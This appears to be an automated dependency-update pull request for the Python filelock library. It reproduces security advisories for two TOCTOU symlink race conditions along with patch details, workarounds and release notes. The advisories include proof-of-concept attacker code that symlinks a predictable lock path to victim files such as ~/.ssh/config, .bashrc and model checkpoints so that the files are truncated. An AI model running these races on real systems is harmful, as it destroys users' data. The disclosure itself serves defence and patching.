Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) - [https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1374) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### Release Notes <details> <summary>tox-dev/py-filelock (filelock)</summary> ### [`v3.29.7`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.29.7) [Compare Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.6...3.29.7) <!-- Release notes generated using configuration in .github/release.yaml at main --> #### What's Changed - asyncio: detect cross-instance reentrant deadlocks before the poll loop by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#586](https://redirect.github.com/tox-dev/filelock/pull/586) - 🐛 fix(soft\_rw): evict non-regular write marker without reading it by [@​gaborbernat](https://redirect.github.com/gaborbernat) in [tox-dev/filelock#588](https://redirect.github.com/tox-dev/filelock/pull/588) - \_util: drop the dead st\_mtime=0 short-circuit in raise\_on\_not\_writable\_file by [@​HrachShah](https://redirect.github.com/HrachShah) in [tox-dev/filelock#589](https://redirect.github.com/tox-dev/filelock/pull/589) **Full Changelog**: <tox-dev/filelock@3.29.6...3.29.7> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://redirect.github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMjQuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIyNC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiLCJmaWxlbG9jayIsInJlbm92YXRlIl19--> Co-authored-by: renovate-coop-norge[bot] <151545514+renovate-coop-norge[bot]@users.noreply.github.com>
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Acquiring a
SoftReadWriteLockhangs until it times out on FreeBSD when a stale FIFO sits at the.writemarker path._read_markeropens the marker withO_NONBLOCKand reads it to decide whether it is valid, but a non-blocking read of a FIFO returns zero bytes on Linux and macOS while it raisesEAGAINon FreeBSD. 🐛 On theEAGAINpath_read_markerreturnsNone, so_break_stale_markertreats the marker as already gone, leaves it in place, and the writer-slot claim spins untilTimeout.A legitimate marker is a regular file, created with
O_CREAT | O_EXCL | O_WRONLY, so the fix checks the file type withfstatand reports anything else as a malformed marker without reading it, letting itsmtimedrive stale eviction instead of content whose read behavior varies by platform.fstatclassifies the FIFO by its inode type rather than by a platform-specific read, so both the writerless marker FreeBSD tripped on and a writer-attached marker that raisesEAGAINget evicted.Linux and macOS keep their current behavior, since a stale FIFO already resolved to a malformed marker on those platforms. Fixes #587.